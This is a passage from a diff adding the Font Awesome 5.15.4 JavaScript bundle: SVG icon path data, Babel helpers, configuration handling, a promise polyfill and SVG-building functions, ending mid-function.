4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z"], + "wrench": [512, 512, [], "f0ad", "M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "x-ray": [640, 512, [], "f497", "M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z"], + "yen-sign": [384, 512, [], "f157", "M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z"], + "yin-yang": [496, 512, [], "f6ad", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"] + }; + + bunker(function () { + defineIcons('fas', icons); + }); + +}()); +(function () { + 'use strict'; + + function _typeof(obj) { + if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { + _typeof = function (obj) { + return typeof obj; + }; + } else { + _typeof = function (obj) { + return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; + }; + } + + return _typeof(obj); + } + + function _classCallCheck(instance, Constructor) { + if (!(instance instanceof Constructor)) { + throw new TypeError("Cannot call a class as a function"); + } + } + + function _defineProperties(target, props) { + for (var i = 0; i < props.length; i++) { + var descriptor = props[i]; + descriptor.enumerable = descriptor.enumerable || false; + descriptor.configurable = true; + if ("value" in descriptor) descriptor.writable = true; + Object.defineProperty(target, descriptor.key, descriptor); + } + } + + function _createClass(Constructor, protoProps, staticProps) { + if (protoProps) _defineProperties(Constructor.prototype, protoProps); + if (staticProps) _defineProperties(Constructor, staticProps); + return Constructor; + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + function _slicedToArray(arr, i) { + return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); + } + + function _toConsumableArray(arr) { + return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); + } + + function _arrayWithoutHoles(arr) { + if (Array.isArray(arr)) { + for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) arr2[i] = arr[i]; + + return arr2; + } + } + + function _arrayWithHoles(arr) { + if (Array.isArray(arr)) return arr; + } + + function _iterableToArray(iter) { + if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); + } + + function _iterableToArrayLimit(arr, i) { + var _arr = []; + var _n = true; + var _d = false; + var _e = undefined; + + try { + for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { + _arr.push(_s.value); + + if (i && _arr.length === i) break; + } + } catch (err) { + _d = true; + _e = err; + } finally { + try { + if (!_n && _i["return"] != null) _i["return"](); + } finally { + if (_d) throw _e; + } + } + + return _arr; + } + + function _nonIterableSpread() { + throw new TypeError("Invalid attempt to spread non-iterable instance"); + } + + function _nonIterableRest() { + throw new TypeError("Invalid attempt to destructure non-iterable instance"); + } + + var noop = function noop() {}; + + var _WINDOW = {}; + var _DOCUMENT = {}; + var _MUTATION_OBSERVER = null; + var _PERFORMANCE = { + mark: noop, + measure: noop + }; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + if (typeof MutationObserver !== 'undefined') _MUTATION_OBSERVER = MutationObserver; + if (typeof performance !== 'undefined') _PERFORMANCE = performance; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var MUTATION_OBSERVER = _MUTATION_OBSERVER; + var PERFORMANCE = _PERFORMANCE; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var UNITS_IN_GRID = 16; + var DEFAULT_FAMILY_PREFIX = 'fa'; + var DEFAULT_REPLACEMENT_CLASS = 'svg-inline--fa'; + var DATA_FA_I2SVG = 'data-fa-i2svg'; + var DATA_FA_PSEUDO_ELEMENT = 'data-fa-pseudo-element'; + var DATA_FA_PSEUDO_ELEMENT_PENDING = 'data-fa-pseudo-element-pending'; + var DATA_PREFIX = 'data-prefix'; + var DATA_ICON = 'data-icon'; + var HTML_CLASS_I2SVG_BASE_CLASS = 'fontawesome-i2svg'; + var MUTATION_APPROACH_ASYNC = 'async'; + var TAGNAMES_TO_SKIP_FOR_PSEUDOELEMENTS = ['HTML', 'HEAD', 'STYLE', 'SCRIPT']; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + var PREFIX_TO_STYLE = { + 'fas': 'solid', + 'far': 'regular', + 'fal': 'light', + 'fad': 'duotone', + 'fab': 'brands', + 'fak': 'kit', + 'fa': 'solid' + }; + var STYLE_TO_PREFIX = { + 'solid': 'fas', + 'regular': 'far', + 'light': 'fal', + 'duotone': 'fad', + 'brands': 'fab', + 'kit': 'fak' + }; + var LAYERS_TEXT_CLASSNAME = 'fa-layers-text'; + var FONT_FAMILY_PATTERN = /Font Awesome ([5 ]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i; // TODO: do we need to handle font-weight for kit SVG pseudo-elements? + + var FONT_WEIGHT_TO_PREFIX = { + '900': 'fas', + '400': 'far', + 'normal': 'far', + '300': 'fal' + }; + var oneToTen = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; + var oneToTwenty = oneToTen.concat([11, 12, 13, 14, 15, 16, 17, 18, 19, 20]); + var ATTRIBUTES_WATCHED_FOR_MUTATION = ['class', 'data-prefix', 'data-icon', 'data-fa-transform', 'data-fa-mask']; + var DUOTONE_CLASSES = { + GROUP: 'group', + SWAP_OPACITY: 'swap-opacity', + PRIMARY: 'primary', + SECONDARY: 'secondary' + }; + var RESERVED_CLASSES = ['xs', 'sm', 'lg', 'fw', 'ul', 'li', 'border', 'pull-left', 'pull-right', 'spin', 'pulse', 'rotate-90', 'rotate-180', 'rotate-270', 'flip-horizontal', 'flip-vertical', 'flip-both', 'stack', 'stack-1x', 'stack-2x', 'inverse', 'layers', 'layers-text', 'layers-counter', DUOTONE_CLASSES.GROUP, DUOTONE_CLASSES.SWAP_OPACITY, DUOTONE_CLASSES.PRIMARY, DUOTONE_CLASSES.SECONDARY].concat(oneToTen.map(function (n) { + return "".concat(n, "x"); + })).concat(oneToTwenty.map(function (n) { + return "w-".concat(n); + })); + + var initial = WINDOW.FontAwesomeConfig || {}; + + function getAttrConfig(attr) { + var element = DOCUMENT.querySelector('script[' + attr + ']'); + + if (element) { + return element.getAttribute(attr); + } + } + + function coerce(val) { + // Getting an empty string will occur if the attribute is set on the HTML tag but without a value + // We'll assume that this is an indication that it should be toggled to true + // For example <script data-search-pseudo-elements src="..."></script> + if (val === '') return true; + if (val === 'false') return false; + if (val === 'true') return true; + return val; + } + + if (DOCUMENT && typeof DOCUMENT.querySelector === 'function') { + var attrs = [['data-family-prefix', 'familyPrefix'], ['data-replacement-class', 'replacementClass'], ['data-auto-replace-svg', 'autoReplaceSvg'], ['data-auto-add-css', 'autoAddCss'], ['data-auto-a11y', 'autoA11y'], ['data-search-pseudo-elements', 'searchPseudoElements'], ['data-observe-mutations', 'observeMutations'], ['data-mutate-approach', 'mutateApproach'], ['data-keep-original-source', 'keepOriginalSource'], ['data-measure-performance', 'measurePerformance'], ['data-show-missing-icons', 'showMissingIcons']]; + attrs.forEach(function (_ref) { + var _ref2 = _slicedToArray(_ref, 2), + attr = _ref2[0], + key = _ref2[1]; + + var val = coerce(getAttrConfig(attr)); + + if (val !== undefined && val !== null) { + initial[key] = val; + } + }); + } + + var _default = { + familyPrefix: DEFAULT_FAMILY_PREFIX, + replacementClass: DEFAULT_REPLACEMENT_CLASS, + autoReplaceSvg: true, + autoAddCss: true, + autoA11y: true, + searchPseudoElements: false, + observeMutations: true, + mutateApproach: 'async', + keepOriginalSource: true, + measurePerformance: false, + showMissingIcons: true + }; + + var _config = _objectSpread({}, _default, initial); + + if (!_config.autoReplaceSvg) _config.observeMutations = false; + + var config = _objectSpread({}, _config); + + WINDOW.FontAwesomeConfig = config; + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + var functions = []; + + var listener = function listener() { + DOCUMENT.removeEventListener('DOMContentLoaded', listener); + loaded = 1; + functions.map(function (fn) { + return fn(); + }); + }; + + var loaded = false; + + if (IS_DOM) { + loaded = (DOCUMENT.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(DOCUMENT.readyState); + if (!loaded) DOCUMENT.addEventListener('DOMContentLoaded', listener); + } + + function domready (fn) { + if (!IS_DOM) return; + loaded ? setTimeout(fn, 0) : functions.push(fn); + } + + var PENDING = 'pending'; + var SETTLED = 'settled'; + var FULFILLED = 'fulfilled'; + var REJECTED = 'rejected'; + + var NOOP = function NOOP() {}; + + var isNode = typeof global !== 'undefined' && typeof global.process !== 'undefined' && typeof global.process.emit === 'function'; + var asyncSetTimer = typeof setImmediate === 'undefined' ? setTimeout : setImmediate; + var asyncQueue = []; + var asyncTimer; + + function asyncFlush() { + // run promise callbacks + for (var i = 0; i < asyncQueue.length; i++) { + asyncQueue[i][0](asyncQueue[i][1]); + } // reset async asyncQueue + + + asyncQueue = []; + asyncTimer = false; + } + + function asyncCall(callback, arg) { + asyncQueue.push([callback, arg]); + + if (!asyncTimer) { + asyncTimer = true; + asyncSetTimer(asyncFlush, 0); + } + } + + function invokeResolver(resolver, promise) { + function resolvePromise(value) { + resolve(promise, value); + } + + function rejectPromise(reason) { + reject(promise, reason); + } + + try { + resolver(resolvePromise, rejectPromise); + } catch (e) { + rejectPromise(e); + } + } + + function invokeCallback(subscriber) { + var owner = subscriber.owner; + var settled = owner._state; + var value = owner._data; + var callback = subscriber[settled]; + var promise = subscriber.then; + + if (typeof callback === 'function') { + settled = FULFILLED; + + try { + value = callback(value); + } catch (e) { + reject(promise, e); + } + } + + if (!handleThenable(promise, value)) { + if (settled === FULFILLED) { + resolve(promise, value); + } + + if (settled === REJECTED) { + reject(promise, value); + } + } + } + + function handleThenable(promise, value) { + var resolved; + + try { + if (promise === value) { + throw new TypeError('A promises callback cannot return that same promise.'); + } + + if (value && (typeof value === 'function' || _typeof(value) === 'object')) { + // then should be retrieved only once + var then = value.then; + + if (typeof then === 'function') { + then.call(value, function (val) { + if (!resolved) { + resolved = true; + + if (value === val) { + fulfill(promise, val); + } else { + resolve(promise, val); + } + } + }, function (reason) { + if (!resolved) { + resolved = true; + reject(promise, reason); + } + }); + return true; + } + } + } catch (e) { + if (!resolved) { + reject(promise, e); + } + + return true; + } + + return false; + } + + function resolve(promise, value) { + if (promise === value || !handleThenable(promise, value)) { + fulfill(promise, value); + } + } + + function fulfill(promise, value) { + if (promise._state === PENDING) { + promise._state = SETTLED; + promise._data = value; + asyncCall(publishFulfillment, promise); + } + } + + function reject(promise, reason) { + if (promise._state === PENDING) { + promise._state = SETTLED; + promise._data = reason; + asyncCall(publishRejection, promise); + } + } + + function publish(promise) { + promise._then = promise._then.forEach(invokeCallback); + } + + function publishFulfillment(promise) { + promise._state = FULFILLED; + publish(promise); + } + + function publishRejection(promise) { + promise._state = REJECTED; + publish(promise); + + if (!promise._handled && isNode) { + global.process.emit('unhandledRejection', promise._data, promise); + } + } + + function notifyRejectionHandled(promise) { + global.process.emit('rejectionHandled', promise); + } + /** + * @class + */ + + + function P(resolver) { + if (typeof resolver !== 'function') { + throw new TypeError('Promise resolver ' + resolver + ' is not a function'); + } + + if (this instanceof P === false) { + throw new TypeError('Failed to construct \'Promise\': Please use the \'new\' operator, this object constructor cannot be called as a function.'); + } + + this._then = []; + invokeResolver(resolver, this); + } + + P.prototype = { + constructor: P, + _state: PENDING, + _then: null, + _data: undefined, + _handled: false, + then: function then(onFulfillment, onRejection) { + var subscriber = { + owner: this, + then: new this.constructor(NOOP), + fulfilled: onFulfillment, + rejected: onRejection + }; + + if ((onRejection || onFulfillment) && !this._handled) { + this._handled = true; + + if (this._state === REJECTED && isNode) { + asyncCall(notifyRejectionHandled, this); + } + } + + if (this._state === FULFILLED || this._state === REJECTED) { + // already resolved, call callback async + asyncCall(invokeCallback, subscriber); + } else { + // subscribe + this._then.push(subscriber); + } + + return subscriber.then; + }, + catch: function _catch(onRejection) { + return this.then(null, onRejection); + } + }; + + P.all = function (promises) { + if (!Array.isArray(promises)) { + throw new TypeError('You must pass an array to Promise.all().'); + } + + return new P(function (resolve, reject) { + var results = []; + var remaining = 0; + + function resolver(index) { + remaining++; + return function (value) { + results[index] = value; + + if (! --remaining) { + resolve(results); + } + }; + } + + for (var i = 0, promise; i < promises.length; i++) { + promise = promises[i]; + + if (promise && typeof promise.then === 'function') { + promise.then(resolver(i), reject); + } else { + results[i] = promise; + } + } + + if (!remaining) { + resolve(results); + } + }); + }; + + P.race = function (promises) { + if (!Array.isArray(promises)) { + throw new TypeError('You must pass an array to Promise.race().'); + } + + return new P(function (resolve, reject) { + for (var i = 0, promise; i < promises.length; i++) { + promise = promises[i]; + + if (promise && typeof promise.then === 'function') { + promise.then(resolve, reject); + } else { + resolve(promise); + } + } + }); + }; + + P.resolve = function (value) { + if (value && _typeof(value) === 'object' && value.constructor === P) { + return value; + } + + return new P(function (resolve) { + resolve(value); + }); + }; + + P.reject = function (reason) { + return new P(function (resolve, reject) { + reject(reason); + }); + }; + + var picked = typeof Promise === 'function' ? Promise : P; + + var d = UNITS_IN_GRID; + var meaninglessTransform = { + size: 16, + x: 0, + y: 0, + rotate: 0, + flipX: false, + flipY: false + }; + + function isReserved(name) { + return ~RESERVED_CLASSES.indexOf(name); + } + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + function insertCss(css) { + if (!css || !IS_DOM) { + return; + } + + var style = DOCUMENT.createElement('style'); + style.setAttribute('type', 'text/css'); + style.innerHTML = css; + var headChildren = DOCUMENT.head.childNodes; + var beforeChild = null; + + for (var i = headChildren.length - 1; i > -1; i--) { + var child = headChildren[i]; + var tagName = (child.tagName || '').toUpperCase(); + + if (['STYLE', 'LINK'].indexOf(tagName) > -1) { + beforeChild = child; + } + } + + DOCUMENT.head.insertBefore(style, beforeChild); + return css; + } + var idPool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + function nextUniqueId() { + var size = 12; + var id = ''; + + while (size-- > 0) { + id += idPool[Math.random() * 62 | 0]; + } + + return id; + } + function toArray(obj) { + var array = []; + + for (var i = (obj || []).length >>> 0; i--;) { + array[i] = obj[i]; + } + + return array; + } + function classArray(node) { + if (node.classList) { + return toArray(node.classList); + } else { + return (node.getAttribute('class') || '').split(' ').filter(function (i) { + return i; + }); + } + } + function getIconName(familyPrefix, cls) { + var parts = cls.split('-'); + var prefix = parts[0]; + var iconName = parts.slice(1).join('-'); + + if (prefix === familyPrefix && iconName !== '' && !isReserved(iconName)) { + return iconName; + } else { + return null; + } + } + function htmlEscape(str) { + return "".concat(str).replace(/&/g, '&').replace(/"/g, '"').replace(/'/g, ''').replace(/</g, '<').replace(/>/g, '>'); + } + function joinAttributes(attributes) { + return Object.keys(attributes || {}).reduce(function (acc, attributeName) { + return acc + "".concat(attributeName, "=\"").concat(htmlEscape(attributes[attributeName]), "\" "); + }, '').trim(); + } + function joinStyles(styles) { + return Object.keys(styles || {}).reduce(function (acc, styleName) { + return acc + "".concat(styleName, ": ").concat(styles[styleName], ";"); + }, ''); + } + function transformIsMeaningful(transform) { + return transform.size !== meaninglessTransform.size || transform.x !== meaninglessTransform.x || transform.y !== meaninglessTransform.y || transform.rotate !== meaninglessTransform.rotate || transform.flipX || transform.flipY; + } + function transformForSvg(_ref) { + var transform = _ref.transform, + containerWidth = _ref.containerWidth, + iconWidth = _ref.iconWidth; + var outer = { + transform: "translate(".concat(containerWidth / 2, " 256)") + }; + var innerTranslate = "translate(".concat(transform.x * 32, ", ").concat(transform.y * 32, ") "); + var innerScale = "scale(".concat(transform.size / 16 * (transform.flipX ? -1 : 1), ", ").concat(transform.size / 16 * (transform.flipY ? -1 : 1), ") "); + var innerRotate = "rotate(".concat(transform.rotate, " 0 0)"); + var inner = { + transform: "".concat(innerTranslate, " ").concat(innerScale, " ").concat(innerRotate) + }; + var path = { + transform: "translate(".concat(iconWidth / 2 * -1, " -256)") + }; + return { + outer: outer, + inner: inner, + path: path + }; + } + function transformForCss(_ref2) { + var transform = _ref2.transform, + _ref2$width = _ref2.width, + width = _ref2$width === void 0 ? UNITS_IN_GRID : _ref2$width, + _ref2$height = _ref2.height, + height = _ref2$height === void 0 ? UNITS_IN_GRID : _ref2$height, + _ref2$startCentered = _ref2.startCentered, + startCentered = _ref2$startCentered === void 0 ? false : _ref2$startCentered; + var val = ''; + + if (startCentered && IS_IE) { + val += "translate(".concat(transform.x / d - width / 2, "em, ").concat(transform.y / d - height / 2, "em) "); + } else if (startCentered) { + val += "translate(calc(-50% + ".concat(transform.x / d, "em), calc(-50% + ").concat(transform.y / d, "em)) "); + } else { + val += "translate(".concat(transform.x / d, "em, ").concat(transform.y / d, "em) "); + } + + val += "scale(".concat(transform.size / d * (transform.flipX ? -1 : 1), ", ").concat(transform.size / d * (transform.flipY ? -1 : 1), ") "); + val += "rotate(".concat(transform.rotate, "deg) "); + return val; + } + + var ALL_SPACE = { + x: 0, + y: 0, + width: '100%', + height: '100%' + }; + + function fillBlack(abstract) { + var force = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + + if (abstract.attributes && (abstract.attributes.fill || force)) { + abstract.attributes.fill = 'black'; + } + + return abstract; + } + + function deGroup(abstract) { + if (abstract.tag === 'g') { + return abstract.children; + } else { + return [abstract]; + } + } + + function makeIconMasking (_ref) { + var children = _ref.children, + attributes = _ref.attributes, + main = _ref.main, + mask = _ref.mask, + explicitMaskId = _ref.maskId, + transform = _ref.transform; + var mainWidth = main.width, + mainPath = main.icon; + var maskWidth = mask.width, + maskPath = mask.icon; + var trans = transformForSvg({ + transform: transform, + containerWidth: maskWidth, + iconWidth: mainWidth + }); + var maskRect = { + tag: 'rect', + attributes: _objectSpread({}, ALL_SPACE, { + fill: 'white' + }) + }; + var maskInnerGroupChildrenMixin = mainPath.children ? { + children: mainPath.children.map(fillBlack) + } : {}; + var maskInnerGroup = { + tag: 'g', + attributes: _objectSpread({}, trans.inner), + children: [fillBlack(_objectSpread({ + tag: mainPath.tag, + attributes: _objectSpread({}, mainPath.attributes, trans.path) + }, maskInnerGroupChildrenMixin))] + }; + var maskOuterGroup = { + tag: 'g', + attributes: _objectSpread({}, trans.outer), + children: [maskInnerGroup] + }; + var maskId = "mask-".concat(explicitMaskId || nextUniqueId()); + var clipId = "clip-".concat(explicitMaskId || nextUniqueId()); + var maskTag = { + tag: 'mask', + attributes: _objectSpread({}, ALL_SPACE, { + id: maskId, + maskUnits: 'userSpaceOnUse', + maskContentUnits: 'userSpaceOnUse' + }), + children: [maskRect, maskOuterGroup] + }; + var defs = { + tag: 'defs', + children: [{ + tag: 'clipPath', + attributes: { + id: clipId + }, + children: deGroup(maskPath) + }, maskTag] + }; + children.push(defs, { + tag: 'rect', + attributes: _objectSpread({ + fill: 'currentColor', + 'clip-path': "url(#".concat(clipId, ")"), + mask: "url(#".concat(maskId, ")") + }, ALL_SPACE) + }); + return { + children: children, + attributes: attributes + }; + } + + function makeIconStandard (_ref) { + var children = _ref.children, + attributes = _ref.attributes, + main = _ref.main, + transform = _ref.transform, + styles = _ref.styles; + var styleString = joinStyles(styles); + + if (styleString.length > 0) { + attributes['style'] = styleString; + } + + if (transformIsMeaningful(transform)) { + var trans = transformForSvg({ + transform: transform, + containerWidth: main.width, + iconWidth: main.width + }); + children.push({ + tag: 'g', + attributes: _objectSpread({}, trans.outer), + children: [{ + tag: 'g', + attributes: _objectSpread({}, trans.inner), + children: [{ + tag: main.icon.tag, + children: main.icon.children, + attributes: _objectSpread({}, main.icon.attributes, trans.path) + }] + }] + }); + } else { + children.push(main.icon); + } + + return { + children: children, + attributes: attributes + }; + } + + function asIcon (_ref) { + var children = _ref.children, + main = _ref.main, + mask = _ref.mask, + attributes = _ref.attributes, + styles = _ref.styles, + transform = _ref.transform; + + if (transformIsMeaningful(transform) && main.found && !mask.found) { + var width = main.width, + height = main.height; + var offset = { + x: width / height / 2, + y: 0.5 + }; + attributes['style'] = joinStyles(_objectSpread({}, styles, { + 'transform-origin': "".concat(offset.x + transform.x / 16, "em ").concat(offset.y + transform.y / 16, "em") + })); + } + + return [{ + tag: 'svg', + attributes: attributes, + children: children + }]; + } + + function asSymbol (_ref) { + var prefix = _ref.prefix, + iconName = _ref.iconName, + children = _ref.children, + attributes = _ref.attributes, + symbol = _ref.symbol; + var id = symbol === true ? "".concat(prefix, "-").concat(config.familyPrefix, "-").concat(iconName) : symbol; + return [{ + tag: 'svg', + attributes: { + style: 'display: none;' + }, + children: [{ + tag: 'symbol', + attributes: _objectSpread({}, attributes, { + id: id + }), + children: children + }] + }]; + } + + function makeInlineSvgAbstract(params) { + var _params$icons = params.icons, + main = _params$icons.main, + mask = _params$icons.mask, + prefix = params.prefix, + iconName = params.iconName, + transform = params.transform, + symbol = params.symbol, + title = params.title, + maskId = params.maskId, + titleId = params.titleId, + extra = params.extra, + _params$watchable = params.watchable, + watchable = _params$watchable === void 0 ? false : _params$watchable; + + var _ref = mask.found ? mask : main, + width = _ref.width, + height = _ref.height; + + var isUploadedIcon = prefix === 'fak'; + var widthClass = isUploadedIcon ? '' : "fa-w-".concat(Math.ceil(width / height * 16)); + var attrClass = [config.replacementClass, iconName ? "".concat(config.familyPrefix, "-").concat(iconName) : '', widthClass].filter(function (c) { + return extra.classes.indexOf(c) === -1; + }).filter(function (c) { + return c !== '' || !!c; + }).concat(extra.classes).join(' '); + var content = { + children: [], + attributes: _objectSpread({}, extra.attributes, { + 'data-prefix': prefix, + 'data-icon': iconName, + 'class': attrClass, + 'role': extra.attributes.role || 'img', + 'xmlns': 'http://www.w3.org/2000/svg', + 'viewBox': "0 0 ".concat(width, " ").concat(height) + }) + }; + var uploadedIconWidthStyle = isUploadedIcon && !~extra.classes.indexOf('fa-fw') ? { + width: "".concat(width / height * 16 * 0.0625, "em") + } : {}; + + if (watchable) { + content.attributes[DATA_FA_I2SVG] = ''; + } + + if (title) content.children.push({ + tag: 'title', + attributes: { + id: content.attributes['aria-labelledby'] || "title-".concat(titleId || nextUniqueId()) + }, + children: [title] + }); + + var args = _objectSpread({}, content, { + prefix: prefix, + iconName: iconName, + main: main, + mask: mask, + maskId: maskId, + transform: transform, + symbol: symbol, + styles: _objectSpread({}, uploadedIconWidthStyle, extra.styles) + }); + + var _ref2 = mask.found && main.found ? makeIconMasking(args) : makeIconStandard(args), + children = _ref2.children, + attributes = _ref2.attributes; + + args.children = children; + args.attributes = attributes; + + if (symbol) { + return asSymbol(args); + } else { + return asIcon(args); + } + } + function makeLayersTextAbstract(params) { + var content = params.content, + width = params.width, + height = params.height, + transform = params.transform, + title = params.title, + extra = params.extra, + _params$watchable2 = params.watchable, + watchable = _params$watchable2 === void 0 ? false : _params$watchable2; + + var attributes = _objectSpread({}, extra.attributes, title ? { + 'title': title + } : {}, { + 'class': extra.classes.join(' ') + }); + + if (watchable) { + attributes[DATA_FA_I2SVG] = ''; + } + + var styles = _objectSpread({}, extra.styles); + + if (transformIsMeaningful(transform)) { + styles['transform'] = transformForCss({ + transform: transform, + startCentered: true, + width: width, + height: height + }); + styles['-webkit-transform'] = styles['transform']; + } + + var styleString = joinStyles(styles); + + if (styleString.length > 0) { + attributes['style'] = styleString; + } + + var val = []; + val.push({ + tag: 'span', + attributes: attributes, + children: [content] + }); + + if (title) { + val.push({ + tag: 'span', + attributes: { + class: 'sr-only' + }, + children: [title] + }); + } + + return val; + } + function makeLayersCounterAbstract(params) { + var content = params.content, + title = params.title, + extra = params.extra; + + var attributes = _objectSpread({}, extra.attributes, title ? { + 'title': title + } : {}, { + 'class': extra.classes.join(' ') + }); + + var styleString = joinStyles(extra.styles); + + if (styleString.length > 0) { + attributes['style'] = styleString; + } + + var val = []; + val.push({ + tag: 'span', + attributes: attributes, + children: [content] + }); + + if (title) { + val.push({ + tag: 'span', + attributes: { + class: 'sr-only' + }, + children: [title] + }); + } + + return val; + } + + var noop$1 = function noop() {}; + + var p = config.measurePerformance && PERFORMANCE && PERFORMANCE.mark && PERFORMANCE.measure ? PERFORMANCE : { + mark: noop$1, + measure: noop$1 + }; + var preamble = "FA \"5.15.4\""; + + var begin = function begin(name) { + p.mark("".concat(preamble, " ").concat(name, " begins")); + return function () { + return end(name); + }; + }; + + var end = function end(name) { + p.mark("".concat(preamble, " ").concat(name, " ends")); + p.measure("".concat(preamble, " ").concat(name), "".concat(preamble, " ").concat(name, " begins"), "".concat(preamble, " ").concat(name, " ends")); + }; + + var perf = { + begin: begin, + end: end + }; + + /** + * Internal helper to bind a function known to have 4 arguments + * to a given context. + */ + + var bindInternal4 = function bindInternal4(func, thisContext) { + return function (a, b, c, d) { + return func.call(thisContext, a, b, c, d); + }; + }; + + /** + * # Reduce + * + * A fast object `.reduce()` implementation. + * + * @param {Object} subject The object to reduce over. + * @param {Function} fn The reducer function. + * @param {mixed} initialValue The initial value for the reducer, defaults to subject[0]. + * @param {Object} thisContext The context for the reducer. + * @return {mixed} The final result. + */ + + + var reduce = function fastReduceObject(subject, fn, initialValue, thisContext) { + var keys = Object.keys(subject), + length = keys.length, + iterator = thisContext !== undefined ? bindInternal4(fn, thisContext) : fn, + i, + key, + result; + + if (initialValue === 